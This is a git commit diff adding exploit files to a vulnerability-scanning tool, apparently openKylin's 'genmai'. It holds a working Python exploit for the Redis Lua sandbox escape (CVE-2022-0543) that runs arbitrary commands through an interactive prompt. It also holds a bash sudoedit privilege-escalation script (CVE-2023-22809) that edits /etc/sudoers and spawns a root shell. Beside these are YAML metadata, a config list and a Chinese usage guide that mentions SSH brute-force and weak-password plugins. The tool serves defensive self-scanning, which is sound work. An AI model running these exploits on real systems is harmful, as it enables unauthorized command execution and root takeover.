mirror of https://gitee.com/openkylin/genmai.git
Merge branch 'master' of gitee.com:openkylin/genmai into Feat_Add_CVE_2022_2274
Signed-off-by: D1aoBoom <xionggaojian@buaa.edu.cn>
This commit is contained in:
commit
080d117dd6
|
@ -4,7 +4,7 @@ Belong: system
|
|||
PocHazardLevel: low
|
||||
Source: https://github.com/worawit/CVE-2021-3156
|
||||
SiteInfo:
|
||||
Name: Polkit(PolicyKit)是类Unix系统中一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯。pkexec是Polkit开源应用框架的一部分,可以使授权非特权用户根据定义的策略以特权用户的身份执行命令。
|
||||
Name: Sudo 是一个用于类 Unix 计算机操作系统的程序,它能够使用户能够以另一个用户(默认是超级用户)的安全权限运行程序。sudoedit 功能用于以另外一个用户身份编辑文件。
|
||||
Severity: high
|
||||
Description:
|
||||
Sudo before 1.9.5p2 存在缓冲区错误漏洞,攻击者可使用sudoedit -s和一个以单个反斜杠字符结束的命令行参数升级到root。
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
import redis
|
||||
import sys
|
||||
|
||||
def echoMessage():
|
||||
version = """
|
||||
[#] Create By ::
|
||||
_ _ ___ __ ____
|
||||
/ \ _ __ __ _ ___| | / _ \ / _| | _ \ ___ _ __ ___ ___ _ __
|
||||
/ _ \ | '_ \ / _` |/ _ \ | | | | | |_ | | | |/ _ \ '_ ` _ \ / _ \| '_ \
|
||||
/ ___ \| | | | (_| | __/ | | |_| | _| | |_| | __/ | | | | | (_) | | | |
|
||||
/_/ \_\_| |_|\__, |\___|_| \___/|_| |____/ \___|_| |_| |_|\___/|_| |_|
|
||||
|___/ By https://aodsec.com
|
||||
"""
|
||||
print(version)
|
||||
|
||||
def shell(ip,port,cmd):
|
||||
lua= 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("'+cmd+'", "r"); local res = f:read("*a"); f:close(); return res'
|
||||
r = redis.Redis(host = ip,port = port)
|
||||
script = r.eval(lua,0)
|
||||
print(script)
|
||||
|
||||
if __name__ == '__main__':
|
||||
echoMessage()
|
||||
ip = "127.0.0.1"
|
||||
port = "6379"
|
||||
while True:
|
||||
cmd = input("input exec cmd:(q->exit)\n>>")
|
||||
if cmd == "q" or cmd == "exit":
|
||||
sys.exit()
|
||||
shell(ip,port,cmd)
|
|
@ -0,0 +1,53 @@
|
|||
FormatVer: 20230306
|
||||
Id: CVE-2022-0543
|
||||
Belong: system
|
||||
PocHazardLevel: low
|
||||
Source: https://github.com/aodsec/CVE-2022-0543
|
||||
SiteInfo:
|
||||
Name: Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
|
||||
Severity: critical
|
||||
Description:
|
||||
Debian 以及 Ubuntu 发行版的源在打包 Redis 时,不慎在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。我们借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。
|
||||
ScopeOfInfluence:
|
||||
2.2 <= redis < 5.0.13
|
||||
2.2 <= redis < 6.0.15
|
||||
2.2 <= redis < 6.2.5
|
||||
References:
|
||||
- http://packetstormsecurity.com/files/166885/Redis-Lua-Sandbox-Escape.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-0543
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
CvssScore: 10.0
|
||||
CveId: CVE-2022-0543
|
||||
CweId: None
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- cve2022
|
||||
- redis
|
||||
- RCE
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter : python3
|
||||
InterArgs :
|
||||
Exec : CVE-2022-0543.py
|
||||
Args :
|
||||
ExpireTime: #second
|
||||
|
||||
# < input
|
||||
# > output
|
||||
# . wait
|
||||
# ? condition
|
||||
# : content
|
||||
#
|
||||
#组合起来
|
||||
# >. 等待直到输出
|
||||
# << 输入字符
|
||||
# >?判断条件
|
||||
Inter:
|
||||
- ">.:>>" #ture
|
||||
- "<<:whoami\n"
|
||||
- ">.:\n" #等待输出'\n'
|
||||
- ">?:root"
|
||||
Condition: None
|
|
@ -0,0 +1,41 @@
|
|||
#!/usr/bin/env bash
|
||||
#
|
||||
# Exploit Title: sudo 1.8.0 - 1.9.12p1 - Privilege Escalation
|
||||
#
|
||||
# Exploit Author: n3m1.sys
|
||||
# CVE: CVE-2023-22809
|
||||
# Date: 2023/01/21
|
||||
# Vendor Homepage: https://www.sudo.ws/
|
||||
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
|
||||
# Version: 1.8.0 to 1.9.12p1
|
||||
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
|
||||
#
|
||||
# Running this exploit on a vulnerable system allows a localiattacker to gain
|
||||
# a root shell on the machine.
|
||||
#
|
||||
# The exploit checks if the current user has privileges to run sudoedit or
|
||||
# sudo -e on a file as root. If so it will open the sudoers file for the
|
||||
# attacker to add a line to gain privileges on all the files and get a root
|
||||
# shell.
|
||||
|
||||
if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
|
||||
then
|
||||
echo "> Currently installed sudo version is not vulnerable"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)
|
||||
|
||||
if [ -z "$EXPLOITABLE" ]; then
|
||||
echo "> It doesn't seem that this user can run sudoedit as root"
|
||||
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
|
||||
else
|
||||
echo "> BINGO! User exploitable"
|
||||
fi
|
||||
|
||||
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
|
||||
echo "$USER ALL=(ALL:ALL) ALL"
|
||||
read -n 1 -s -r -p "Press any key to continue..."
|
||||
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
|
||||
sudo su root
|
||||
exit 0
|
|
@ -0,0 +1,47 @@
|
|||
FormatVer: 20230308
|
||||
Id: CVE-2023-22809
|
||||
Belong: system
|
||||
PocHazardLevel: low
|
||||
Source: https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc
|
||||
SiteInfo:
|
||||
Name: Sudo 是一个用于类 Unix 计算机操作系统的程序,它能够使用户能够以另一个用户(默认是超级用户)的安全权限运行程序。sudoedit 功能用于以另外一个用户身份编辑文件。
|
||||
Severity: high
|
||||
Description:
|
||||
Sudo 受影响版本的 sudoedit 功能存在权限管理不当漏洞,漏洞源于 sudo_edit.c@sudo_edit() 方法未对用户通过“--”参数传入的文件名进行过滤,导致具有 sudoedit 权限的恶意用户可编辑系统中的任意文件。
|
||||
ScopeOfInfluence:
|
||||
sudo@[1.8.0, 1.9.12p2)
|
||||
References:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2023-22809
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
CvssScore: 7.8
|
||||
CveId: CVE-2023-22809
|
||||
CweId: CWE-269
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- 特权管理不当
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter : bash
|
||||
InterArgs :
|
||||
Exec : CVE-2023-22809.sh
|
||||
Args :
|
||||
ExpireTime: #second
|
||||
|
||||
# < input
|
||||
# > output
|
||||
# . wait
|
||||
# ? condition
|
||||
# : content
|
||||
#
|
||||
#组合起来
|
||||
# >. 等待直到输出
|
||||
# << 输入字符
|
||||
# >?判断条件
|
||||
Inter:
|
||||
- "<<:whoami\n" #ture
|
||||
- ">.:\n"
|
||||
- ">?:root"
|
||||
Condition: None
|
|
@ -12,4 +12,5 @@ ExplorerItems:
|
|||
- ConfigFile: CVE-2021-4043/CVE-2021-4043.yaml
|
||||
- ConfigFile: CVE-2021-3156/CVE-2021-3156.yaml
|
||||
- ConfigFile: CVE-2022-0351/CVE-2022-0351.yaml
|
||||
- ConfigFile: CVE-2022-1292/CVE-2022-2274.yaml
|
||||
- ConfigFile: CVE-2022-1292/CVE-2022-2274.yaml
|
||||
- ConfigFile: CVE-2023-22809/CVE-2023-22809.yaml
|
||||
|
|
|
@ -0,0 +1,32 @@
|
|||
genmai工具使用文档
|
||||
|
||||
|
||||
一. 环境搭建:
|
||||
- golang环境大于等于go1.17.2;
|
||||
- python3环境大于等于3.8;
|
||||
- 进入src目录下终端导入golang需要引入的库,这里使用 ”go mod tidy” 进行导入库;
|
||||
- 进入src目录,使用pip3进行导入需要的python库,这里使用 “pip3 install -r requirements.txt”,若加载过慢可使用清华源加载(pip3 install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple );
|
||||
|
||||
二. Kernel模块
|
||||
- kernel模块为genmai中内核漏洞检测模块。在环境搭建好后使用 ”go run main.go -kernel=all”就可以使用poc/exp检测内核模块是否存在漏洞。因为内核漏洞会引起系统崩溃,所以这里我们默认poc/exp为低破坏性的,具有破坏性通过匹配内核版本,需人工手动执行exp。
|
||||
- 我们也可以通过配置KernelPocs.yaml或KernelPocs.json文件来选择要执行哪些poc,当然我们这默认选择是yaml文件。
|
||||
|
||||
三. System模块
|
||||
- system模块为genami中系统漏洞检测模块,其检测通过去调度SystemPocs目录下的poc检测包括sudo提权、polkit提权、openssl等相关漏洞。
|
||||
- 这里使用 ”go run main.go -system=all”开始系统检测。
|
||||
- 我们也可以通过配置SystemPocs.yaml或SystemPocs.json文件来选择要执行哪些poc,当然我们这默认选择是yaml文件。
|
||||
|
||||
四. Baseline模块
|
||||
- BaseLine模块介绍及使用:
|
||||
- baseline模块为genmai工具的基线检测模块,基线检查功能通过配置不同的基线检查策略,可以帮助您快速对服务器进行批量扫描,发现包括系统、账号权限、数据库、弱口令 、等级保护合规配置等存在的风险点。我们使用 ”go run main.go -baseline=all”开始进行基线检测。
|
||||
- 可以看出部分基线检测是需要高权限才能检测,这时我们可以配置data/BaseLine下的BaseLine.yaml文件中的RootPasswd,将root密码对应填入。接着 ”systemctl start ssh” 开启ssh。再次执行基线检测命令。
|
||||
|
||||
五. 插件模块
|
||||
1. FastScan(系统漏洞版本匹配,快速扫描)
|
||||
> FastScan是通过匹配版本号的方式,对系统进行快速扫描。这里我们使用了内部数据库,暂时还未准备将数据库公开。所以在扫描前需要输入数据库密码。配置完成后,我们使用 ”go run main.go -FastScan”就可以开始对系统进行快速扫描。
|
||||
2. Fofa(fofa获取资产信息)
|
||||
3. Nmap(Nmap检测端口开放情况)
|
||||
4. SSHExplosion(ssh快速爆破检测弱密码情况)
|
||||
5. WeakPwdGeneration(弱密码生成器)
|
||||
|
||||
六.POC/EXP/基线策略添加
|
Loading…
Reference in New Issue